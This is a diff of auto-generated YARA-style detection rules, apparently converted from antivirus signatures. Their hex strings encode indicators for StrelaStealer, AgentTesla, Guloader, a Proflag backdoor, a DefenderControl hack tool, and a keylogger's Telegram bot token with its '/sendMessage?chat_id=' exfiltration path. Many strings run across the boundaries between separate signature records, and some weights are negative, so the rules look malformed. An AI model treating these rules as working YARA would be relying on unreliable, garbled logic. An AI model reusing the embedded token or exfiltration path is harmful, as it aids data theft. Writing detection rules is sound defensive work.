_InfrastructureShared_10240{ ((#a_54_0 & 1)*19747+(#a_37_1 & 1)*17709) >=3 } -rule _InfrastructureShared_10241{ +rule _InfrastructureShared_10901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -111170,7 +118454,7 @@ rule _InfrastructureShared_10241{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*26478+(#a_20_2 & 1)*24933) >=3 } -rule _InfrastructureShared_10242{ +rule _InfrastructureShared_10902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -111183,7 +118467,7 @@ rule _InfrastructureShared_10242{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*29728+(#a_35_2 & 1)*27749+(#a_50_3 & 1)*272) >=3 } -rule _InfrastructureShared_10243{ +rule _InfrastructureShared_10903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -111196,7 +118480,7 @@ rule _InfrastructureShared_10243{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25971+(#a_64_2 & 1)*16686+(#a_65_3 & 1)*24423) >=3 } -rule _InfrastructureShared_10244{ +rule _InfrastructureShared_10904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -111204,39 +118488,41 @@ rule _InfrastructureShared_10244{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6e 69 6c 6c 61 53 6f 75 70 2e 41 21 64 68 61 00 01 00 0b 01 00 2f 2f 74 6d 70 2e 62 61 6b 00 01 00 15 01 70 61 63 6b 61 67 65 73 2f 2e 70 6b 67 5f 76 65 72 73 69 6f 6e 01 00 1a 01 70 } //16675 $a_61_1 = {65 73 2f 42 6f 6f 74 73 74 72 61 70 43 61 63 68 65 2e 70 6b 01 00 08 01 53 76 63 50 61 74 68 00 01 00 13 01 70 61 63 6b 61 67 65 73 5c 45 4e 43 4d 67 72 2e 70 6b 67 00 00 78 96 00 00 03 00 03 00 06 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 41 6d 6f 6e 65 74 69 7a 65 54 72 61 73 67 6f 2e 41 31 00 01 00 08 01 6d 62 6f } //25441 $a_62_2 = {01 00 11 01 4d 79 42 65 73 74 4f 66 66 65 72 73 54 6f 64 61 79 01 00 11 01 2f 64 6c 2e 74 63 6f 75 70 69 63 68 6f 75 2e 65 75 01 00 11 01 2f 64 6f 77 6e 6c 6f 61 64 2f 74 72 61 73 67 6f 2f 01 00 09 01 61 6d 6f 6e 65 74 69 7a 65 01 00 11 01 73 65 74 75 70 5f 6d 62 6f 74 5f 67 62 2e 65 78 65 00 00 78 96 00 00 } //24436 - $a_00_3 = {02 00 21 23 } //4 - $a_3a_4 = {72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 50 47 53 21 4d 54 42 00 03 00 4c 01 6d 6b 68 56 69 75 6c 50 69 71 48 48 4f 45 6f 63 43 76 56 63 69 4c 71 52 54 77 6b 67 77 47 48 63 67 52 54 42 6c 50 } //17748 + $a_00_3 = {06 00 21 } //3 + $a_54_4 = {3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 14 81 01 53 79 73 74 65 6d 2e 54 65 78 74 2e } //18467 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25441+(#a_62_2 & 1)*24436+(#a_00_3 & 1)*4+(#a_3a_4 & 1)*17748) >=3 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25441+(#a_62_2 & 1)*24436+(#a_00_3 & 1)*3+(#a_54_4 & 1)*18467) >=3 } -rule _InfrastructureShared_10245{ +rule _InfrastructureShared_10905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 41 6d 6f 6e 65 74 69 7a 65 54 72 61 73 67 6f 2e 41 31 00 01 00 08 01 6d 62 6f 74 5f 67 62 5f 01 00 11 01 4d 79 42 65 73 74 4f 66 66 65 72 73 54 6f 64 61 79 01 00 11 01 2f 64 6c 2e 74 63 6f 75 70 69 63 68 } //16675 $a_65_1 = {01 00 11 01 2f 64 6f 77 6e 6c 6f 61 64 2f 74 72 61 73 67 6f 2f 01 00 09 01 61 6d 6f 6e 65 74 69 7a 65 01 00 11 01 73 65 74 75 70 5f 6d 62 } //30063 - $a_67_2 = {2e 65 78 65 00 00 78 96 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 50 47 53 21 4d 54 42 00 03 00 4c 01 6d 6b 68 56 69 75 6c 50 69 71 48 48 4f 45 6f 63 43 76 56 63 69 4c 71 52 54 77 6b 67 77 47 48 63 67 52 } //29807 - $a_50_3 = {6b 6b 41 78 46 56 4c 71 4d 48 7a 46 6c 66 43 41 41 62 67 53 61 63 67 78 65 42 4c 62 4d 79 61 70 78 51 77 4d 54 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 00 78 96 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 30 80 01 5c 73 74 } //16980 - $a_65_4 = {70 79 45 78 5c 61 63 68 69 79 4d 65 7b 5c 4f 63 68 69 69 5f 75 69 5c 6f 62 6a 6e 52 65 6c 65 71 73 77 5c 6b 69 6c 6f 2e 01 00 0d 80 01 6c 70 4e 77 77 46 69 6c 75 4e 73 6d 65 01 00 0f 80 01 52 78 61 64 62 62 6a 78 63 74 64 72 72 74 79 01 00 0e 80 01 64 64 67 72 73 74 75 66 65 } //25205 - $a_78_5 = {00 00 02 00 78 96 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 48 31 32 33 21 4d 54 42 00 01 00 1a 81 01 62 79 67 65 76 65 6a 72 65 74 73 20 78 6f 72 65 64 20 74 72 6f 77 61 62 6c 65 01 00 11 81 01 61 72 63 68 61 69 73 74 69 63 20 68 61 74 62 6f 78 } //11891 + $a_67_2 = {2e 65 78 65 00 00 78 96 00 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 14 81 01 53 79 } //29807 + $a_6d_3 = {54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 01 00 0d 81 01 45 6e 63 6f 64 69 6e 67 2e 55 54 46 38 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 08 81 01 47 65 74 42 79 74 65 73 00 00 78 96 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 } //29811 + $a_01_4 = {5c 73 74 75 62 5c 65 6f 70 79 45 78 5c 61 63 68 69 79 4d 65 7b 5c 4f 63 68 69 69 5f 75 69 5c 6f 62 6a 6e 52 65 6c 65 71 73 77 5c 6b 69 6c 6f 2e 01 00 0d 80 01 6c 70 4e 77 77 46 69 6c 75 4e 73 6d 65 01 00 0f 80 01 52 78 61 64 62 62 6a 78 63 74 64 72 72 74 79 01 00 0e 80 01 64 64 67 72 73 74 75 66 65 73 2e 65 78 65 00 00 02 00 78 96 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 } //12288 + $a_2f_5 = {75 6c 6f 61 64 65 72 2e 4b 43 58 48 31 32 33 21 4d 54 42 00 01 00 1a 81 01 62 79 67 65 76 65 6a 72 65 74 73 20 78 6f 72 65 64 20 74 72 6f 77 61 62 6c } //13166 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30063+(#a_67_2 & 1)*29807+(#a_50_3 & 1)*16980+(#a_65_4 & 1)*25205+(#a_78_5 & 1)*11891) >=3 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*30063+(#a_67_2 & 1)*29807+(#a_6d_3 & 1)*29811+(#a_01_4 & 1)*12288+(#a_2f_5 & 1)*13166) >=3 } -rule _InfrastructureShared_10246{ +rule _InfrastructureShared_10906{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 74 72 65 6c 61 53 74 65 61 6c 65 72 2e 50 47 53 21 4d 54 42 00 03 00 4c 01 6d 6b 68 56 69 75 6c 50 69 71 48 48 4f 45 6f 63 43 76 56 63 69 4c 71 52 54 77 6b 67 77 47 } //21539 - $a_52_1 = {42 6c 50 4b 6b 6b 41 78 46 56 4c 71 4d 48 7a 46 6c 66 43 41 41 62 67 53 61 63 67 78 65 42 4c 62 4d 79 61 70 78 51 77 4d 54 01 00 11 01 44 6c 6c 52 65 67 69 73 74 65 72 53 65 72 76 65 72 00 00 78 96 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 } //25416 + $a_54_0 = {3a 4d 53 49 4c 2f 4f 62 66 75 73 63 61 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 10 81 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 81 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 14 81 01 53 79 73 74 65 6d 2e 54 65 78 74 2e } //18467 + $a_6f_1 = {69 6e 67 01 00 0d 81 01 45 6e 63 6f 64 69 6e 67 2e 55 54 46 38 01 00 09 81 01 47 65 74 53 74 72 69 6e 67 01 00 08 81 01 47 65 74 42 79 74 65 73 00 00 78 96 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 51 21 4d 54 42 00 01 00 30 80 01 5c 73 74 75 } //28229 + $a_6f_2 = {79 45 78 5c 61 63 68 69 79 4d 65 7b 5c 4f 63 68 69 69 5f 75 69 5c 6f 62 6a 6e 52 65 6c 65 71 73 77 5c 6b 69 6c 6f 2e 01 00 0d 80 01 6c 70 4e 77 77 46 69 6c 75 4e 73 6d 65 01 00 0f 80 01 52 78 61 64 62 62 6a 78 63 74 64 72 72 74 79 01 00 0e 80 01 64 64 67 72 73 74 75 66 65 73 2e 65 78 65 00 00 02 00 78 } //23650 + $a_48_5 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 43 58 48 31 32 33 21 4d 54 42 00 01 00 1a 81 01 } //8448 condition: - ((#a_4c_0 & 1)*21539+(#a_52_1 & 1)*25416) >=4 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28229+(#a_6f_2 & 1)*23650+(#a_48_5 & 1)*8448) >=3 } -rule _InfrastructureShared_10247{ +rule _InfrastructureShared_10907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -111249,7 +118535,7 @@ rule _InfrastructureShared_10247{ ((#a_54_0 & 1)*18467+(#a_77_1 & 1)*20080+(#a_62_2 & 1)*30575+(#a_33_3 & 1)*26967) >=4 } -rule _InfrastructureShared_10248{ +rule _InfrastructureShared_10908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -111262,7 +118548,7 @@ rule _InfrastructureShared_10248{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*-32495+(#a_6a_2 & 1)*28521+(#a_74_3 & 1)*27513) >=4 } -rule _InfrastructureShared_10249{ +rule _InfrastructureShared_10909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -111275,7 +118561,7 @@ rule _InfrastructureShared_10249{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*29554+(#a_6f_2 & 1)*385+(#a_65_3 & 1)*28783) >=4 } -rule _InfrastructureShared_10250{ +rule _InfrastructureShared_10910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -111288,7 +118574,7 @@ rule _InfrastructureShared_10250{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29295+(#a_31_2 & 1)*268+(#a_00_3 & 1)*12338) >=4 } -rule _InfrastructureShared_10251{ +rule _InfrastructureShared_10911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -111297,12 +118583,12 @@ rule _InfrastructureShared_10251{ $a_00_1 = {35 39 39 00 34 39 39 00 90 0a 0c 00 39 39 90 00 01 00 0c 01 32 30 39 00 32 30 31 00 32 30 30 00 01 00 14 01 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 00 } //786 $a_00_2 = {00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 72 6f 66 6c 61 67 2e 41 21 64 68 61 00 01 00 1b 03 83 fd ff 0f 84 90 01 04 81 fd 6f 6f 6f 6f 0f 84 90 01 04 81 fd de de de de 90 00 01 00 14 00 44 32 c0 0f b6 c8 02 c0 80 e1 80 74 02 34 1b d0 ea 49 ff c9 01 00 0b 01 57 69 6e 25 64 2e 25 64 2e 25 64 01 00 10 01 4e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 21 01 00 0a 01 43 4d 44 20 45 72 72 6f 72 21 00 } //30720 $a_00_3 = {00 04 00 04 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0b 03 9c 81 44 24 04 90 01 04 9d 90 00 01 00 16 03 ff 70 3c 81 c1 90 01 04 81 2c 24 90 01 04 03 0c 24 89 0c 24 90 00 01 00 17 03 ff 75 08 59 ff 70 5c 81 c1 90 01 04 81 2c 24 90 01 04 03 0c 24 90 00 01 00 16 00 67 76 74 6c 66 2e 64 6c 6c 00 4e 53 47 65 74 4d 6f 64 75 6c 65 00 01 00 13 00 00 43 72 79 70 74 47 65 74 48 61 73 68 50 61 72 61 6d 00 00 } //30720 - $a_00_4 = {00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 65 79 6c 6f 67 67 65 72 2e 50 47 4c 21 4d 54 42 00 01 00 18 01 5c 00 73 00 79 00 73 00 70 00 72 00 6f 00 63 00 2e 00 65 00 78 00 65 00 02 00 2e 80 01 38 30 38 38 35 39 35 32 30 31 3a 41 41 47 71 6e 37 58 7a 42 73 59 30 74 39 76 42 44 65 39 68 4b 75 53 64 63 76 32 44 56 46 6f 74 69 43 67 02 00 15 80 01 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 00 } //30720 + $a_00_4 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 43 6f 6e 74 72 6f 6c 21 4d 53 52 00 01 00 09 80 01 77 69 6e 64 65 66 65 6e 64 01 00 0c 80 01 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 01 00 14 80 01 74 72 75 73 74 65 64 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 10 80 01 6f 70 65 6e 5f 70 72 6f 63 65 73 73 2e 70 64 62 01 00 13 80 01 6f 70 65 6e 73 65 72 76 69 63 65 20 73 75 63 63 65 73 73 00 } //30720 condition: ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*786+(#a_00_2 & 1)*30720+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=4 } -rule _InfrastructureShared_10252{ +rule _InfrastructureShared_10912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -111310,38 +118596,26 @@ rule _InfrastructureShared_10252{ $a_46_0 = {45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 36 34 2f 50 72 6f 66 6c 61 67 2e 41 21 64 68 61 00 01 00 1b 03 83 fd ff 0f 84 90 01 04 81 fd 6f 6f 6f 6f 0f 84 90 01 04 81 fd de de de de 90 00 01 00 14 00 44 32 c0 0f b6 c8 02 c0 80 } //16675 $a_02_1 = {34 1b d0 ea 49 ff c9 01 00 0b 01 57 69 6e 25 64 2e 25 64 2e 25 64 01 00 10 01 4e 6f 74 20 69 6d 70 6c 65 6d 65 6e 74 65 64 21 01 00 0a 01 43 4d 44 20 45 72 72 6f 72 21 00 00 78 96 00 00 04 00 04 00 05 00 21 23 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0b 03 9c 81 44 24 04 90 01 04 9d 90 00 01 00 16 03 ff 70 3c 81 } //-32543 $a_04_2 = {81 } //-28479 - $a_01_3 = {04 03 0c 24 89 0c 24 90 00 01 00 17 03 ff 75 08 59 ff 70 5c 81 c1 90 01 04 81 2c 24 90 01 04 03 0c 24 90 00 01 00 16 00 67 76 74 6c 66 2e 64 6c 6c 00 4e 53 47 65 74 4d 6f 64 75 6c 65 00 01 00 13 00 00 43 72 79 70 74 47 65 74 48 61 73 68 50 61 72 61 6d 00 00 00 78 96 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 65 79 6c 6f 67 67 65 72 2e 50 47 4c 21 4d 54 42 00 01 00 18 01 5c 00 73 00 79 00 } //9260 - $a_00_4 = {72 00 6f 00 63 00 2e 00 65 00 78 00 65 00 02 00 2e 80 01 38 30 38 38 35 39 35 32 30 31 3a 41 41 47 71 6e 37 58 7a 42 73 59 30 74 39 76 42 44 65 39 68 4b 75 53 64 63 76 32 44 56 46 6f 74 69 43 67 02 00 15 80 01 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 00 00 78 96 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 } //115 + $a_01_3 = {04 03 0c 24 89 0c 24 90 00 01 00 17 03 ff 75 08 59 ff 70 5c 81 c1 90 01 04 81 2c 24 90 01 04 03 0c 24 90 00 01 00 16 00 67 76 74 6c 66 2e 64 6c 6c 00 4e 53 47 65 74 4d 6f 64 75 6c 65 00 01 00 13 00 00 43 72 79 70 74 47 65 74 48 61 73 68 50 61 72 61 6d 00 00 00 78 96 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 43 6f 6e 74 72 6f 6c 21 4d 53 52 00 01 00 09 80 01 77 } //9260 + $a_65_4 = {65 6e 64 01 00 0c 80 01 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 01 00 14 80 01 74 72 75 73 74 65 64 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 10 80 01 6f 70 65 6e 5f 70 72 6f 63 65 73 73 2e 70 64 62 01 00 13 80 01 6f 70 65 6e 73 65 72 76 69 63 65 20 73 75 63 63 65 73 73 00 00 78 96 00 00 05 00 05 00 } //28265 condition: - ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-32543+(#a_04_2 & 1)*-28479+(#a_01_3 & 1)*9260+(#a_00_4 & 1)*115) >=4 + ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-32543+(#a_04_2 & 1)*-28479+(#a_01_3 & 1)*9260+(#a_65_4 & 1)*28265) >=4 } -rule _InfrastructureShared_10253{ +rule _InfrastructureShared_10913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_77_0 = {72 65 3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0b 03 9c 81 44 24 04 90 01 04 9d 90 00 01 00 16 03 ff 70 3c 81 c1 90 01 04 81 2c 24 90 01 04 03 0c 24 89 0c 24 90 00 01 00 17 03 ff 75 08 59 ff 70 5c 81 c1 90 01 04 81 2c 24 90 01 04 03 0c 24 90 00 01 00 16 00 67 76 74 6c 66 2e 64 6c 6c } //16675 - $a_47_1 = {74 4d 6f 64 75 6c 65 00 01 00 13 00 00 43 72 79 70 74 47 65 74 48 61 73 68 50 61 72 61 6d 00 00 00 78 96 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 65 79 6c 6f 67 67 65 72 2e 50 47 4c 21 4d 54 42 00 01 00 18 } //19968 - $a_00_3 = {70 00 72 00 6f 00 63 00 2e 00 65 00 78 00 65 00 02 00 2e 80 01 38 30 38 38 35 39 35 32 30 31 3a 41 41 47 71 6e 37 58 7a 42 73 59 30 74 39 76 42 44 65 39 68 4b 75 53 64 63 76 32 44 56 46 6f 74 69 43 67 02 00 15 80 01 2f 73 65 6e 64 4d 65 73 73 61 67 65 3f 63 68 61 74 5f 69 64 3d 00 00 78 96 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b } //121 - $a_6c_4 = {57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 43 6f 6e 74 72 6f 6c 21 4d 53 52 00 01 00 09 80 01 77 69 6e 64 65 66 65 6e 64 01 00 0c 80 01 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 01 00 14 80 01 74 72 75 73 74 65 64 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 10 80 01 6f 70 65 6e 5f 70 72 6f 63 65 73 73 2e 70 64 62 01 00 13 80 01 6f 70 65 } //28500 + $a_47_1 = {74 4d 6f 64 75 6c 65 00 01 00 13 00 00 43 72 79 70 74 47 65 74 48 61 73 68 50 61 72 61 6d 00 00 00 78 96 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 43 6f 6e 74 72 6f 6c 21 4d 53 52 } //19968 + $a_69_3 = {64 65 66 65 6e 64 01 00 0c 80 01 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 01 00 14 80 01 74 72 75 73 74 65 64 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 01 00 10 80 01 6f 70 65 6e 5f 70 72 6f 63 65 73 73 2e 70 64 62 01 00 13 80 01 6f 70 65 6e 73 65 72 76 69 63 65 20 73 75 63 63 65 73 73 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //384 + $a_4c_4 = {41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 47 34 35 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0b 81 01 43 6f 6d 70 75 74 65 48 } //21325 condition: - ((#a_77_0 & 1)*16675+(#a_47_1 & 1)*19968+(#a_00_3 & 1)*121+(#a_6c_4 & 1)*28500) >=4 + ((#a_77_0 & 1)*16675+(#a_47_1 & 1)*19968+(#a_69_3 & 1)*384+(#a_4c_4 & 1)*21325) >=4 } -rule _InfrastructureShared_10254{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4b 65 79 6c 6f 67 67 65 72 2e 50 47 4c 21 4d 54 42 00 01 00 18 01 5c 00 73 00 79 00 73 00 70 00 72 00 6f 00 63 00 2e 00 65 00 78 00 65 00 02 00 2e 80 01 38 30 38 38 35 } //21539 - $a_30_1 = {3a 41 41 47 71 6e 37 58 7a 42 73 59 30 74 39 76 42 44 65 39 68 4b 75 53 64 63 76 32 44 56 46 6f 74 69 43 67 02 00 15 80 01 2f 73 65 6e 64 4d 65 73 73 } //13625 - $a_3f_2 = {68 61 74 5f 69 64 3d 00 00 78 96 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 65 66 65 6e 64 65 72 43 6f 6e 74 72 6f 6c 21 4d 53 52 00 01 00 09 80 01 77 69 6e 64 65 66 65 6e 64 01 00 0c 80 01 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 01 00 14 80 01 74 72 75 73 74 } //26465 - condition: - ((#a_4c_0 & 1)*21539+(#a_30_1 & 1)*13625+(#a_3f_2 & 1)*26465) >=5 - -} -rule _InfrastructureShared_10255{ +rule _InfrastructureShared_10914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -111354,7 +118628,7 @@ rule _InfrastructureShared_10255{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25701+(#a_01_3 & 1)*4864+(#a_54_4 & 1)*28261) >=5 } -rule _InfrastructureShared_10256{ +rule _InfrastructureShared_10915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -111367,7 +118641,7 @@ rule _InfrastructureShared_10256{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_53_2 & 1)*14958+(#a_34_4 & 1)*13313) >=5 } -rule _InfrastructureShared_10257{ +rule _InfrastructureShared_10916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -111380,7 +118654,7 @@ rule _InfrastructureShared_10257{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_53_2 & 1)*14958+(#a_35_4 & 1)*23041) >=5 } -rule _InfrastructureShared_10258{ +rule _InfrastructureShared_10917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -111388,52 +118662,80 @@ rule _InfrastructureShared_10258{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 31 36 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0b 81 01 43 6f 6d 70 75 } //18467 $a_61_1 = {68 01 00 16 81 01 5a 37 35 34 53 48 50 35 41 55 38 35 41 34 35 49 47 5a 4f 34 34 48 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 } //25972 $a_53_2 = {4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 35 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0b 81 01 43 6f 6d 70 75 74 65 48 61 73 } //14958 - $a_4b_4 = {36 4f 41 35 34 41 30 34 34 48 54 50 35 38 34 59 35 35 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 5a 31 32 33 21 4d 54 42 00 01 } //14337 + $a_4b_4 = {36 4f 41 35 34 41 30 34 34 48 54 50 35 38 34 59 35 35 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 96 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 51 30 31 21 4d 54 42 00 01 00 14 } //14337 condition: ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*25972+(#a_53_2 & 1)*14958+(#a_4b_4 & 1)*14337) >=5 } -rule _InfrastructureShared_10259{ +rule _InfrastructureShared_10918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 35 21 4d 54 42 00 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 47 65 74 4f 62 6a 65 63 74 01 00 0b 81 01 43 6f 6d 70 75 } //18467 $a_61_1 = {68 01 00 16 81 01 38 55 4b 46 36 4f 41 35 34 41 30 34 34 48 54 50 35 38 34 59 35 35 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 